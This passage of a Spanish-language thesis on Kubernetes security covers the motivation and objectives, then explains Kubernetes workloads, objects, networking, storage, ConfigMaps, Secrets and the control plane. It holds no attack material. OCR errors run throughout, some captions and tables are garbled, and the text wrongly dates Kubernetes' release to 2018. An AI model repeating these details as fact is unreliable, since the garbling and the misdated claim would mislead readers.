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1. Introduccidn

1.1. Aplicaciones nativas en la nube

En los dltimos tiempos, los avances tecnol6gicos han extendido los limites de aquello que
se considera posible realizar desde las aplicaciones de software. Cada dia las tareas que
son realizadas por estas aplicaciones son mas complejas (inteligencia de negocios, gestion
de relaciones con el cliente, etc.).

Como consecuencia, aspectos como la disponibilidad y el tamafio de dichas aplicaciones ha
ido creciendo. El mantenimiento en las instalaciones propias de estas organizaciones se ha
vuelto todo un reto. Esta y otras razones han causado que las plataformas de computacion
en la nube se hayan convertido rapidamente en una opcién popular.

Para ser capaces de lidiar con los requerimientos de negocio cada vez mas exigentes (e.g.
cambio constante de requisitos, flexibilidad, etc.), las aplicaciones han evolucionado en
cuanto a su arquitectura y disefio. Estas nuevas aplicaciones, compuestas por un pequefio
conjunto de servicios independientes y débilmente acoplados que son desplegados en la
nube, son las que se conocen como las aplicaciones nativas en la nube.

Estas aplicaciones nativas en la nube estdn mayormente basadas en una arquitectura de
microservicios. Este enfoque representa un reto debido a que tanto las nuevas aplicaciones,
como la modernizacién de aplicaciones preexistentes o legacy implica tratar con varios
componentes y servicios interconectados.

Los contenedores son una alternativa ligera a las maquinas virtuales (VMs) que proveen un
entorno aislado para nuestras aplicaciones. Pueden ser iniciados y detenidos mas rapido, a
la vez que ofrecen un mejor rendimiento general que las VMs. Los microservicios en
contenedores son tipicamente mas robustos que las aplicaciones monoliticas tradicionales y
son altamente portables y faciles de usar en procesos de CI/CD, lo cual ayuda a aumentar
la productividad atn mas.

Ante la gran cantidad de componentes a administrar, los equipos de DevOps requieren de la
automatizacion para poder gestionar los procesos del ciclo de vida de los contenedores,
configuracion de la red, aprovisionamiento o escalado, entre otros. Es en este escenario,
donde las técnicas y herramientas de orquestacion permiten que sea viable administrar la
gran cantidad de partes moéviles en estos nuevos tipos de aplicaciones.

Pero, ¢,como es posible lograrlo cuando la cantidad de estos componentes crece de manera
considerable?, ¢ existe alguna plataforma que se ajuste a tales propdsitos?.

1.2. Kubernetes como solucién de orquestacion

Como se comentd con anterioridad, las aplicaciones nativas en la nube basadas en
contenedores se han convertido en un estandar en la industria. Por tanto, se hace necesario
contar con una plataforma sofisticada para la orquestacion de todos estos componentes de
manera eficiente en nuestra infraestructura.

Kubernetes es la solucion mas popular empleada hoy en dia para estos propdsitos y se ha
convertido en un estandar en lo que refiere a la orquestacion de ecosistemas basados en
contenedores [1]. Ademas de ser una propuesta open-source y estar respaldada por
empresas como Google, existen muchos otros beneficios de los que Kubernetes puede
presumir.



Para soluciones basadas en la nube, Kubernetes contribuye considerablemente a optimizar
el funcionamiento de los contenedores y la automatizacion de procesos necesarios para
lograr que una aplicacion esté lista para produccion. Debido a sus caracteristicas, es capaz
de optimizar la utilizaciéon del hardware mediante una mejor asignacion de los recursos
requeridos por nuestras aplicaciones, asi como tareas de auto-escalado, auto-replicacion,
entre otras. Otro factor importante a considerar son sus capacidades de operar en una nube
hibrida, aspecto bastante requerido por muchas organizaciones hoy en dia para evitar el
fendmeno del Vendor Lock-In. Este fenbmeno es el problema enfrentado por los clientes
gue les impide cambiar a otro proveedor (de la nube en nuestro caso) debido a restricciones
de costos y/o factores técnicos.

Todas estas razones han hecho de Kubernetes un estandar en cuanto a la orquestacion de
contenedores y por consiguiente, una plataforma casi imprescindible para las aplicaciones
nativas en la nube.

1.3. La seguridad en Kubernetes

A pesar de los beneficios mencionados anteriormente, los usuarios de Kubernetes han
reportado sus preocupaciones relacionadas con el tema de la seguridad [2]. Otros reportes
sobre el estado de la seguridad en Kubernetes [3], muestran datos alarmantes sobre
incidentes de seguridad en Kubernetes como:
e “94% de los encuestados experimentaron al menos un incidente de seguridad en sus
entornos de Kubernetes en los dltimos 12 meses”
e “59% de los encuestados estan mas preocupados por problemas de seguridad no
tratados y necesidades de compliance o0 amenazas a los contenedores”.
e Mas de la mitad de los encuestados han postergado el despliegue de aplicaciones
en Kubernetes en producciéon debido al tema de la seguridad.
Para comprender estas preocupaciones podemos considerar un principio de la seguridad
gue ha sido muy bien resumido desde hace mas de 20 afios: “la complejidad es el peor
enemigo de la seguridad” [4]. Para hacer frente a todos los requisitos principales de la
orquestacion, Kubernetes ha debido ser disefiado de una manera compleja. Sin duda, dicha
complejidad, como se vera a lo largo de este trabajo, podria plantear multitud de problemas
de seguridad si no se aborda de forma adecuada.
Existen diversas muestras de evidencia anecdoética que sustentan estas preocupaciones por
la seguridad. Por ejemplo, en 2018, usuarios maliciosos obtuvieron acceso a los recursos
de Tesla de Amazon Web Services (AWS) aprovechando una consola (o Dashboard)
insegura [5]. En 2019, Palo Alto Networks descubrié que +40,000 contenedores de Docker y
Kubernetes estaban expuestos a internet producto de despliegues mal configurados [6].
Sistematizar el conocimiento disponible referente a las practicas de seguridad permitiria
apoyar a los administradores a proteger sus instalaciones de Kubernetes. Dicha base de
conocimientos permitiria a los usuarios comprender qué acciones son necesarias para
proteger los componentes de Kubernetes, asi como derivar listas de comprobacion para ser
utilizadas como puntos de referencia y determinar el nivel de seguridad del cluster.

1.4. Motivacion

Kubernetes llegé a disposicion de la comunidad en 2018 y hasta el dia de hoy, la plataforma
sigue evolucionando muy rapido. Hay funcionalidades que todavia estan bajo desarrollo



activo (estado alpha o beta), lo cual es un indicador de que Kubernetes en si esta lejos de
alcanzar la madurez, al menos desde el punto de vista de la seguridad.

Como se ha mencionado anteriormente, debido a su gran complejidad, la superficie de
atague es de gran tamafio y al ser una solucién relativamente nueva, el tema de la
seguridad no ha sido abordado con toda la profundidad requerida.

Sus cualidades como plataforma de orquestacidon son bastante deseables, tal que el “53%
de los profesionales resaltaron que la plataforma les permitia reducir los ciclos de
desarrollo” y que el “50% de los encuestados notaron que Kubernetes contribuia
considerablemente a la contenerizacion de aplicaciones monoliticas”, segun un estudio [7].
Como se ha evidenciado, su adopcion ha ido creciendo de manera acelerada de manera
que hoy en dia “cerca del 90% de las empresas han adoptado esta solucién” [7]. Es por ello
gue resulta imperativo implementar la tecnologia de manera segura, para lo cual se hace
necesario un estudio en profundidad de la seguridad para esta plataforma.

Desde un punto de vista personal, la tematica de la seguridad en Kubernetes en el contexto
de las aplicaciones seguras en la nube ademas de parecerme relevante considero que
tendrd mucho camino por recorrer en los proximos afos. A nivel profesional creo que
supone un gran valor el hecho de estar familiarizado con esta tecnologia y conocer todos
los aspectos relacionados con su seguridad. Estas competencias son mas que deseables
para mi crecimiento como profesional en el rol de ingeniero de DevSecOps®.

! Integracion de la seguridad y la proteccién durante todo el ciclo de vida de desarrollo e
implementacion del software.



2. Estructura del documento

En la Introduccién se ha argumentado acerca de la importancia de abordar la tematica de la
seguridad en Kubernetes y la motivacion para realizar este trabajo. Las distintas partes que
conforman el resto del trabajo (los capitulos y secciones) se detallan como sigue.

En los capitulos 3 y 4 se definen respectivamente, de manera formal, el objetivo general y
los objetivos planteados en este trabajo, asi como la metodologia y pasos a seguir para
poder dar cumplimiento a dichos objetivos.

El capitulo 5 esta dedicado a proporcionar una introduccién a la tematica de Kubernetes.
Desde su arquitectura hasta los distintos componentes que lo integran, en este capitulo se
describe en mas detalle los elementos relevantes que deben conocer los profesionales que
trabajen con esta tecnologia. En caso de estar ya familiarizado con dichos conceptos, el
lector puede omitir el capitulo y pasar directamente al siguiente donde se tratan aspectos
propios del trabajo.

En el capitulo 6 se presentan los distintos modelos, mecanismos y estrategias propuestos
en la literatura para lidiar con el tema de la seguridad en Kubernetes. Dichos tépicos son el
producto de una extensa revision y estudio de la literatura referente al tema.

A continuacién, en los capitulos 7 y 8 se presenta una revision de distintos controles y
medidas de seguridad para proteger aspectos claves de un cluster de Kubernetes. Desde la
proteccion de la configuracion de los elementos del cluster, hasta las herramientas y
acciones a llevar a cabo en caso de incidentes de seguridad son analizadas en estos
capitulos.

El capitulo 9 tiene como propdsito introducir al lector en el mundo de las mallas de
servicios, y en particular de la solucién Istio, que representan una capa de abstraccion
adicional en la seguridad del cluster. En este capitulo se aborda de manera superficial tanto
Su arquitectura como sus componentes y cOmo éstos contribuyen a la seguridad de un
cluster de Kubernetes.

Los capitulos 10 y 11 contienen nuestra propuesta de buenas practicas para la seguridad
en Kubernetes, asi como la definicidn y aplicacién de un protocolo de validacion para dichas
medidas propuestas.

Finalmente, en el capitulo 12 se enumeran y analizan las conclusiones obtenidas en el
trabajo, asi como las posibles lineas de investigacion a seguir en el futuro.



3. Objetivos

En este apartado se abordara en mayor profundidad la tematica de los objetivos del trabajo,
asi como el alcance y las limitaciones de dichos objetivos propuestos.

Objetivo general

El objetivo general de este trabajo consiste en el estudio y andlisis de los factores que
influyen en la seguridad de Kubernetes, asi como el impacto de los mismos en la obtencién
de un cluster que pueda ser explotado de forma segura en produccion.

Con dicho propésito en mente, se plantean los siguientes objetivos especificos.

Objetivos especificos

PRIMERO: Familiarizarse con las competencias habituales de los responsables de
seguridad de proyectos que impliqguen el despliegue de aplicaciones en clusters de
Kubernetes.

El propésito de dicho objetivo es el de comprender y analizar el alcance de las habilidades y
conocimientos que debe poseer todo profesional acreditado para administrar un cluster de
Kubernetes en produccion. Para ello, se incluye en el trabajo un capitulo centrado en la
arquitectura y los distintos componentes esenciales de un cluster de Kubernetes. En otros
capitulos, se abordan en detenimiento las buenas practicas y medidas especificas para la
explotacién segura en produccion de este tipo de plataformas.

SEGUNDO: Estudiar, integrar y utilizar de forma segura elementos y servicios habituales
proporcionados por Kubernetes o terceros que contribuyan a garantizar la explotacién
segura de despliegues en clusters.

El propésito de este objetivo es el de estudiar y analizar los mecanismos, tanto nativos de
Kubernetes como de terceros, para hacer frente al tema de la seguridad en Kubernetes. El
trabajo contendra tanto secciones para los distintos mecanismos y estrategias nativas,
como para las plataformas, herramientas y soluciones de terceros para asegurar un cluster.

TERCERO: Estudiar las posibles amenazas y evaluar la seguridad efectiva de las medidas
propuestas.

Adicionalmente a una revisién bibliogréfica y un estudio posterior de la efectividad de las
medidas propuestas en el trabajo, es necesario evaluar el impacto real de las mismas en la
seguridad del cluster; motivo principal de este objetivo. Como se vera mas adelante, este
trabajo contiene una seccién dedicada expresamente a estos propdsitos.



4. Metodologia de trabajo

Para ser capaces de cumplir los objetivos propuestos, es necesario llevar a cabo una serie
de acciones enfocadas en dicho propésito. En este apartado se aborda la secuencia de
fases y tareas a realizar para desarrollar el trabajo.

A grandes rasgos el trabajo constara de dos grandes fases o apartados: una primera parte
tedrica de estudio y revision de la literatura y una segunda parte de experimentacion y
sintesis donde se proponen buenas practicas de seguridad, ademas de validar su eficacia.
A continuacidn se presenta la secuencia cronolégica de tareas a llevar a cabo:

Estudio de la arquitectura y componentes principales de Kubernetes para una mejor
comprension de la superficie de ataque del cluster.

Revisién bibliografica de modelos, estrategias y buenas practicas de seguridad para
proteger un cluster de Kubernetes.

Estudio y andlisis de las medidas y controles de seguridad encontrados en la
literatura en el paso anterior.

Revision bibliogréfica y analisis de los servicios y/o productos de terceros disefiados
para proteger un cluster de Kubernetes.

Definir y sintetizar las buenas practicas de seguridad de Kubernetes en forma de
medidas y controles organizados en una taxonomia.

Disefio y despliegue de un prototipo de cluster, asi como un protocolo de validacion
para la experimentacion y validacion de la efectividad de las medidas propuestas.

Finalmente, se ofrecen las conclusiones obtenidas durante este trabajo, pero también las
posibles lineas de trabajo en las que enfocar nuestros esfuerzos en un futuro.



5. Introduccion a Kubernetes

Hasta el momento se han mencionado aspectos basicos relacionados con Kubernetes, pero
es necesario conocer en primera instancia, las abstracciones o conceptos de alto nivel que
nos ofrece. Partiendo de esta base, luego es posible comprender los elementos de su
arquitectura, los componentes que conforman a la misma y como interactlan entre ellos.

5.1. Conceptos clave en Kubernetes

Para adquirir una comprensién mas profunda de coémo funciona Kubernetes, es necesario
conocer las partes que componen nuestro cluster, asi como los conceptos basicos
asociados a las abstracciones que Kubernetes utiliza para representar el cluster.

A continuaciéon se abordan los conceptos mencionados. En caso de que el lector esté
familiarizado con los mismos, puede pasar directamente a la Seccion 5.2, el apartado
dedicado a la arquitectura donde se abordan sus componentes sobre l0os que se centran las
propuestas de seguridad del trabajo.

5.1.1. Workloads

Los workloads (o cargas de trabajo), son las abstracciones de alto nivel en Kubernetes que
representan a las aplicaciones que son desplegadas en el cluster. Toda aplicacién que ha
sido desplegada en Kubernetes esta siendo ejecutada en pods, el cual representa un
conjunto de contenedores con almacenamiento y recursos de red compartidos, y una
especificacion sobre como ejecutar dichos contenedores.

Los pods en Kubernetes tienen un ciclo de vida bien definido [8], pero no es necesario
administrar cada pod de manera directa. En su lugar, se pueden usar recursos de workloads
para administrar un conjunto de pods de manera centralizada. Dichos recursos, de manera
indirecta, configuran controladores [9] que se aseguran de que la cantidad correcta del tipo
de pod especifico se estan ejecutando para cumplir con el estado especificado.

5.1.1.1. Pods

Un pod modela un “host l6gico” especifico de la aplicacion, el cual contiene uno o mas
contenedores que estan relativa y estrechamente acoplados. Los pods en Kubernetes son
usados de dos maneras principales (ver Figura 1):

e Pods que ejecutan un solo contenedor. Este es el caso de uso mas comun en
Kubernetes, donde se puede pensar en un pod como una encapsulacién a un solo
contenedor. Kubernetes opera con pods en lugar de gestionar contenedores
directamente.

e Pods que ejecutan multiples contenedores que operan juntos. Un pod puede
encapsular una aplicacibn compuesta por varios contenedores acoplados que
necesiten compartir recursos. El pod envuelve o agrupa estos contenedores,
recursos de almacenamiento y la identidad de red como una sola unidad.

Como se mencionaba antes, los recursos de workloads administran los pods de manera
automatica a través de un controlador para dicho recurso. Dichos controladores crean pods
a partir de un pod template (plantilla para un pod) y los administran para alcanzar el estado
deseado.



Los PodTemplates son especificaciones para crear pods, y son incluidas en la definicion de
recursos de workloads como Deployments, Job y DaemonSets (ver en la siguiente seccidn).
Cada controlador desplegado utiliza el PodTemplate incluido en la definicién del objeto del
workload [10] como base para crear los pods necesarios.

Mas detalles relevantes asociados a los pods pueden consultarse en [11].
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Figura 1. Visién general de los pods en Kubernetes. (Fuente: kubernetes.io)
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Figura 2. Deployments, ReplicaSets, y Servicios en Kubernetes.
(Fuente: kubernetes.io)

5.1.1.2. Recursos de workloads

Como se ha enfatizado antes, no es necesario crear pods directamente, sino que los pods
son creados a través de los recursos de workloads como Deployment o Job; y en caso de
ser necesario recordar el estado de una aplicacién, el recurso StatefulSet.

Estos recursos de workloads no son mas que objetos de Kubernetes [10] de nivel superior,
de los cuales Kubernetes proporciona algunos integrados por defecto.



Deployment y ReplicaSet*:

Un Deployment es una buena opcién para administrar workloads de aplicaciones sin estado
(stateless) en el cluster, donde cualquier pod en el Deployment es intercambiable y puede
ser reemplazado facilmente si es necesario.

El propésito de un ReplicaSet es mantener un conjunto estable de pods en ejecucion en
cualquier momento dado, y es por ello cominmente empleado para garantizar la
disponibilidad de una cantidad de pods especifica.

No obstante, un Deployment es una abstraccion de nivel superior que se encarga de
administrar los ReplicaSets, ademas de otras funcionalidades. Por tanto, es recomendado
usar Deployments en lugar de utilizar directamente ReplicaSets, a no ser que se necesite
algun patron no convencional de orquestacién (ver Figura 2).

Para mas detalles al respecto, se recomiendan [12], [13].

StatefulSet:

En Kubernetes, aunque no es comun, a veces se necesita que los pods tengan un
almacenamiento persistente, o un identificador de red estable después de reinicios y
reconfiguraciones. StatefulSet es un objeto del API de workload (i.e., recurso de workload)
utilizado para gestionar estas aplicaciones dependientes del estado (stateful applications).
Al igual que un Deployment, un StatefulSet administra pods basados en una misma
especificacion, pero a diferencia del Deployment mantiene una identidad fija para cada uno
de sus pods y por tanto, dichos pods no son intercambiables.

Para mas detalles sobre el tema, consultar [14].

DaemonSet:

Un DaemonSet es el encargado de que todos, o algunos de los nodos, ejecuten una copia
del pod especificado. Usualmente, estos pods proporcionan funcionalidades locales al nodo
como funcionalidades de monitoreo y observabilidad, herramientas de red, entre otras.

A medida que los nodos se adicionan al cluster, el DaemonSet se encarga de que los pods
se ejecuten en ellos. Al eliminar nodos, estos pods son enviados al recolector de basura. Al
eliminar un DaemonSet, todos los pods asociados al mismo seran eliminados.

Para mas informacion, se recomienda consultar [15].

Job y CronJob:

Los Jobs y los CronJobs definen tareas a ser ejecutadas hasta su terminacion y luego se
detienen. Los Jobs estan disefiados para tareas de una sola vez, mientras que los CronJobs
para tareas recurrentes que pueden ser programadas.

Un Job crea uno o mas pods (asociados a una tarea) y continua reintentando la ejecucién
de los mismos hasta que un numero especifico de ellos finalice exitosamente. Eliminar un
Job eliminara todos los pods que este haya creado. Suspender un Job, eliminara todos los
pods activos hasta que el Job se reanude nuevamente.

Por su parte, un CronJob es como una entrada o linea de un fichero de crontab escrita en
formato cron [16] que crea el Job de manera periddica. Los CronJobs estéan disefiados para
desempefar acciones cotidianas programadas como copias de seguridad, generacion de
reportes, entre otras.

Mas informacion al respecto puede encontrarse en [17], [18].

2 Reemplazan al descontinuado ReplicationController.



5.1.2. Objetos de Kubernetes

Los objetos de Kubernetes son entidades persistentes (en etcd) utilizadas para representar
el estado del cluster. Una vez creado un objeto, Kubernetes trabajar4 constantemente en
funcién de que dicho objeto exista. De esa manera, le estariamos indicando al sistema
cOmo queremos que sea nuestro workload, es decir, nuestro estado deseado del cluster.
Para interactuar con estos objetos (crear, editar o eliminar) se necesita utilizar el APl de
Kubernetes. Al usar la herramienta kubect! por linea de comandos, ésta hace las peticiones
necesarias al API por nosotros, pero también podemos hacerlo a través de scripts usando
las Client Libraries (bibliotecas de cliente) para Kubernetes [19].

A continuacién se abordan aquellos objetos que son los mas comunes y/o relevantes para
nuestro trabajo, aunque informacion mas detallada se puede consultar en [20].

Namespaces:

Kubernetes soporta multiples clusters virtuales respaldados por el mismo cluster fisico.
Estos clusters virtuales son denominados namespaces. Los namespaces son una forma de
dividir los recursos del cluster (via resource quota [21]) entre multiples usuarios (o tenants).
Anélogamente a los namespaces en programacion, éstos dan un ambito para los nombres,
los cuales deben ser Unicos en el mismo namespace, pero no necesariamente entre dos
distintos.

Los namespaces estan disefiados para ser usados en entornos con muchos usuarios
repartidos en varios equipos 0 proyectos, y cuando se necesiten las funcionalidades que
ofrecen.

Para més detalles sobre el tema, se recomienda [22].

Labels y Selectors:

Los labels son pares llave-valor que estdn asociados a objetos como los pods, con el
objetivo de ser usados para especificar atributos distintivos de dichos objetos que son
significativos y relevantes para los usuarios.

Los labels se utilizan para organizar e identificar conjuntos de objetos y se pueden agregar
a éstos en cualquier momento. Cada objeto puede tener una lista de labels asociada donde
cada llave es unica para ese objeto:

"metadata": {

"labels": {
"keyl" : "valuel",
"key2" : "value2"
}

}

A diferencia de los names y UIDs [23] de los objetos, los labels no brindan unicidad, de
hecho, el comportamiento deseado es que muchos objetos tengan el mismo label(s) como
una manera de identificarlos como partes de un grupo.

A través de un label selector (selector de etiquetas), un cliente u operador del cluster puede
identificar un conjunto de objetos (e.g. los pods administrados por un ReplicaSet en
especifico) para disimiles propésitos. El label selector es la primitiva de agrupacion
fundamental en Kubernetes.

Para mas informacion al respecto, se recomienda consultar [24].



5.1.3. Servicios, balanceo de carga y redes

Una vez comprendido el concepto de workload, es necesario interiorizar como nuestras
aplicaciones son expuestas y accedidas desde el exterior del cluster (por nuestros clientes),
asi como el entramado de red que permite dichas acciones (ver Figura 2).

Para informacion detallada e indagar en mas profundidad, consultar [25].

5.1.3.1. Servicios y DNS

Si en nuestra aplicacion un conjunto de pods (llamémoslos backends) proveen cierta
funcionalidad a otro conjunto (llamémoslos frontends), ¢cémo los determinan y hacen
seguimiento de la(s) direcciones IP(s) a las cuales conectarse para poder consumir dichos
backends?. La abstraccion de un servicio permite este desacoplamiento.

Un servicio es una manera abstracta de exponer una aplicacion compuesta por un conjunto
de pods. En Kubernetes, no es necesario modificar nuestra aplicaciéon para integrar un
mecanismo de descubrimiento de servicios desconocidos. Como se ha visto, Kubernetes
asigna IPs a cada pod y también un nombre de DNS Unico para un conjunto de pods que
puede balancear la carga entre ellos. Pero, ¢como se crean los registros de DNS para esos
servicios y pods?.

Como ya se ha mencionado, Kubernetes crea registros de DNS para los servicios y pods
que permiten que éstos sean accedidos mediante nombres de DNS consistentes en lugar
de direcciones IP (las que pueden variar como se explicé en Deployment y ReplicaSet). El
servicio de Kubernetes DNS [26], [27] configura los kubelets para que indiquen a cada
contenedor que utilice el IP del servicio de DNS para resolver los nombres de DNS.

Para mas informacién al respecto se recomienda consultar [28]-[30].

5.1.3.2. Ingress

Ingress es un objeto del APl de Kubernetes con el propésito de permitir el acceso a los
servicios desde fuera del cluster de Kubernetes. El acceso es configurado creando un
conjunto de reglas de acceso que especifican cuales conexiones entrantes son dirigidas a
gué servicios.

De esta manera, se consolidan todas nuestras reglas de enrutamiento de trafico en un solo
recurso. Adicionalmente, Ingress puede proveer de balanceo de carga, terminacion SSL [31]
y el uso de hosts virtuales basados en nombre. Por ejemplo, en la Figura 3 se observa un
recurso de Ingress que envia todo su trafico a un Unico servicio.

Con el propdsito de que nuestro recurso de Ingress funcione correctamente, nuestro cluster
debe tener un ingress controller (un controlador de ingress) instalado y en ejecucion. Los
controladores de ingress no se inician automaticamente con el cluster, sino que son
inicializados por los operadores como parte de la necesidad de exponer ciertos workloads al
exterior.
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Figura 3. Enrutamiento de trafico mediante Ingress.
(Fuente: medium.com/google-cloud)

La funcionalidad de un controlador de ingress puede materializarse de diferentes maneras y
mediante distintas herramientas. Usualmente se emplea un balanceador de carga (o
LoadBalancer) [32] y en escenarios donde los servicios utilicen puertos y protocolos
arbitrarios se utilizan servicios de tipo NodePort o de tipo LoadBalancer [33]. Una lista
extensiva de los distintos controladores de ingress disponibles se encuentra en [34], y
determinar el controlador adecuado para cada escenario se aborda en profundidad en
[35]-[37].

5.1.3.3. Politicas de Red

Por defecto, los pods no estan aislados y por tanto aceptan trafico proveniente desde
cualquier origen. Este escenario no es deseable en todos los escenarios, especificamente
desde el punto de vista de la seguridad en la red.
Por ejemplo, en la Figura 4 se tiene un escenario donde no es deseable que nuestro pod de
NGINX reciba trafico desde un pod en otro namespace. Para controlar el flujo de trafico a
nivel de IP o puerto (capas L3y L4 del modelo OSI), es necesario el uso de politicas de red
(o Network Policies) en el cluster.
Las politicas de red permiten especificar de qué modo un pod es capaz de comunicarse con
otras entidades en la red. Dichas entidades pueden ser caracterizadas utilizando uno o
varios de los tres criterios que se presentan a continuacion:
e Otros pods permitidos (excepcion: un pod no puede bloquear el acceso a si mismo)
e Namespaces permitidos.
e Rangos de IP (excepcion: el trafico hacia y desde el nodo donde se esta ejecutando
un pod siempre esta permitido, independientemente de la direccién IP del pod o del
nodo)



Los dos primeros criterios que pueden condicionar a una politica de red (definicion de un
pod 0 namespace) se especifican mediante selectores (mas adelante se profundiza en este
concepto), ya que estas reglas aplicaran a los pods que coincidan con el selector.

Momespace: METVX Nomespace: Exrernal

b Busybox

—

Figura 4. Impacto de una Politica de Red en el trafico entre pods. (Fuente: faun.pub)

Es importante resaltar que las politicas de red son implementadas por el plugin de red (o
plugin CNI). Por tanto, para hacer uso de estas politicas resulta imperativo contar con un
proveedor de red que las soporte. Crear una politica de red sin un controlador que las
implemente tendra un efecto nulo.

Para mas detalles se recomienda consultar [38].

5.1.4. Almacenamiento

El almacenamiento ha constituido un reto para los profesionales de IT, presentando
problemas de integridad, retencién, replicacion y migracién de grandes conjuntos de datos.
En el mundo de las aplicaciones basadas en contenedores no es diferente, y todavia
muchos de estos problemas no han desaparecido.

Como es conocido, los contenedores son efimeros y una vez descartados, todos los datos
gue contienen son eliminados por defecto, lo cual es causa de grandes problemas para
muchos tipos de workloads. La abstraccién de volumen de Kubernetes permite mitigar estos
problemas en un ambiente de contenedores.

Los volumenes son una entidad fundamental que los contenedores usan para acceder a
almacenamiento en Kubernetes. Pueden soportar cualquier tipo de infraestructura de
almacenamiento, como dispositivos de almacenamiento local y recursos de Kubernetes
(Secrets, ConfigMaps, emptyDir, hostPath, etc.), NFS y servicios de almacenamiento en la
nube (awsElasticBlockStore, azureDisk, etc.).

Dependiendo a su “volatilidad”, dichos volumenes pueden ser clasificados en dos grandes
categorias:

e Ephemeral (no persistente): En esta categoria se agrupan aquellos volimenes con
la misma vida util que el ciclo de vida del pod. Es una solucién rapida pero no
durable y, por tanto, deberia ser utilizada para datos temporales o aplicaciones que
no requieran de persistencia de datos. Ejemplos de tipos de volumenes en esta
categoria son emptyDir, ConfigMaps, Secrets, etc.



e Durable (persistente): En esta categoria se agrupan aquellos volimenes que
sobreviven al ciclo de vida del pod. Su vida util es independiente al ciclo de vida del
pod, pero persisten a reinicios tanto de los contenedores como de los pods. En estos
casos, los datos son preservados cuando los pods fallan o son eliminados. Ejemplos
de estos volumenes son hostPath, persistentVolumeClaim y los servicios de
almacenamiento en la nube (awsElasticBlockStore, azureDisk, gcePersistentDisk,
etc.).

Para abundar més en esta temética bastante compleja, se recomiendan [39], [40].

5.1.5. Configuracion dinamica de recursos: ConfigMaps y Secrets

En Kubernetes existen diversos mecanismos para que los operadores y administradores del
cluster puedan configurar los diferentes recursos. Existen buenas practicas establecidas
respecto a estos temas [41], desde la gestion y organizacién del acceso al cluster mediante
ficheros kubeconfig [42] hasta la gestion de recursos de los contenedores [43].

Por temas de simplicidad, solo profundizaremos en las dos piedras angulares referentes a
temas de configuracion en Kubernetes: ConfigMaps y Secrets.

ConfigMaps:

Un ConfigMap es un objeto del APl de Kubernetes disefiado para almacenar informacién no
confidencial (configuraciones, etc.) a modo diccionario (de pares llave-valor). El valor
asociado a un ConfigMap es que posibilita la separacién del codigo de nuestra aplicacion de
nuestra configuracion® (credenciales, cadenas de conexion, URLs, etc.), permitiendo de esa
manera que nuestras aplicaciones sean facilmente portables.

Los pods pueden hacer uso de los ConfigMaps como variables de entorno, argumentos de
linea de comandos o como ficheros de configuracion en un volumen. Un aspecto relevante
a destacar es que el pod y el ConfigMap deben estar en el mismo namespace.

Para mas informacién, se recomienda [44], [45].

Secrets:
Un ConfigMap no garantiza discrecion o cifrado. En caso de que la informaciéon que se
necesita almacenar sea confidencial, se recomienda utilizar un Secret en lugar de un
ConfigMap o herramientas (de terceros) para mantener nuestros datos seguros.
Los Secrets pueden ser creados independientemente de los pods que los usan y por tanto,
hay menos riesgo de que el Secret (y su informacion confidencial) sea expuesta durante la
configuracion de los pods. Un Secret puede ser referenciado en un pod de tres formas
diferentes:

e Como ficheros montados en un volumen en uno 0 mas de sus contenedores.

e Como una variable de entorno del contenedor.

e Por el kubelet cuando descarga las imagenes del pod.
Cuando se crea un Secret, es posible especificar su tipo utilizando el campo type de dicho
recurso. El tipo de un Secret se utiliza para facilitar la gestidn de los distintos tipos de datos
confidenciales que éstos representan.
Kubernetes proporciona varios tipos por defecto (built-in types) para escenarios de uso
comunes, los cuales varian en términos de las validaciones y limitaciones que Kubernetes
impone sobre éstos. A continuacién se listan dichos tipos de Secrets [46]:

3 Uno de los aspectos a considerar al crear una aplicacion que cumple con los “Twelve-Factor”.



Tabla 1. Tipos de Secrets en Kubernetes.

Tipo Objeto del API Uso

Secretos opacos Opaque Datos arbitrarios definidos
por el usuario.

Secretos del token de una | kubernetes.io/service-account- | Token de una Service

Service Account (cuenta token Account.

de servicio)

Secretos de configuracion | kubernetes.io/dockercfg Fichero ~/.dockercfg
de Docker serializado.

Secretos de configuracion | kubernetes.io/dockerconfigjson | Fichero

de Docker ~/ .docker/config.json
serializado.

Secreto de Basic kubernetes.io/basic-auth Credenciales para la

Authentication autenticacion mediante
Basic Authentication.

Secretos de autenticacién | kubernetes.io/ssh-auth Credenciales para la

SSH autenticacion mediante
SSH.

Secretos TLS kubernetes.ioltls Datos asociados a un

cliente o servidor TLS.

Secretos de tokens de bootstrap.kubernetes.io/token | Datos de tokens utilizados
Bootstrap (arranque / en el proceso de arranque
inicio) del nodo.

Para mas detalles respecto al tema, se recomienda consultar [46].

5.2. Arquitectura de Kubernetes

Como se ha comentado antes, Kubernetes es una plataforma open-source para desplegar y
gestionar contenedores. Su objetivo principal es ocultar lo complejo que puede llegar a ser
orquestar toda una flota de contenedores.

Desde la perspectiva de un administrador de sistemas, Kubernetes puede ser considerado
como un sistema operativo para las aplicaciones nativas en la nube. De cierta manera, esta
plataforma donde se ejecutan las aplicaciones, permite agregar una capa de abstraccion de
manera analoga a la que aplicaciones de escritorio se ejecutan en Windows, Linux o
MacOS.

Desde el nivel méas alto de abstraccion, Kubernetes sigue una arquitectura cliente-servidor
clasica. La parte del cliente (o plano de datos) consiste de un conjunto de instancias
(llamadas nodos worker) encargados de ejecutar los contenedores que componen a las
aplicaciones. Cada nodo podria ser un servidor o una maquina virtual y en ellos se ejecutan
diversos contenedores agrupados en pods. La parte del servidor (o plano de control)
consiste en uno o varios nodos master (una configuracion multi-master es usada en



escenarios de alta disponibilidad), cuyo propdsito es gestionar y servir de punto de contacto
a los nodos de trabajo.
El plano de control consiste a su vez de varios componentes, entre los que se encuentran:
e kube-apiserver,
etcd (un cluster de almacenamiento distribuido),
kube-controller-manager,
cloud-controller-manager
kube-scheduler y
kube-dns (un servidor DNS para los servicios del cluster).
Por su parte, el plano de datos consta de componentes como:
e kubelet
e kube-proxy
e Container Runtime (CRI) (e.g., Docker, containerd, CRI-O, etc.)
Todos estos componentes, asi como su interaccion en los dos planos que conforman un
cluster de Kubernetes, pueden ser observados en las Figura 5 y Figura 6.
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Figura 5. Arquitectura de Kubernetes: plano de control y plano de datos.
(Fuente: kubernetes.io)
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5.2.1. Plano de control

El plano de control es el encargado de administrar los nodos worker y los pods en el cluster.
En un entorno de produccién, el plano de control usualmente esta distribuido en mdaltiples
instancias, permitiendo la tolerancia a fallos y alta disponibilidad.

Como se ha comentado antes, el plano de control es el centro neuralgico del cluster de
Kubernetes. Sus componentes son los encargados de “tomar” decisiones clave respecto al
cluster (e.g., la planificacion de recursos), asi como la deteccidon y respuesta a eventos del
cluster (e.g., iniciar un pod cuando las réplicas de un deployment no se satisfacen).

kube-apiserver:

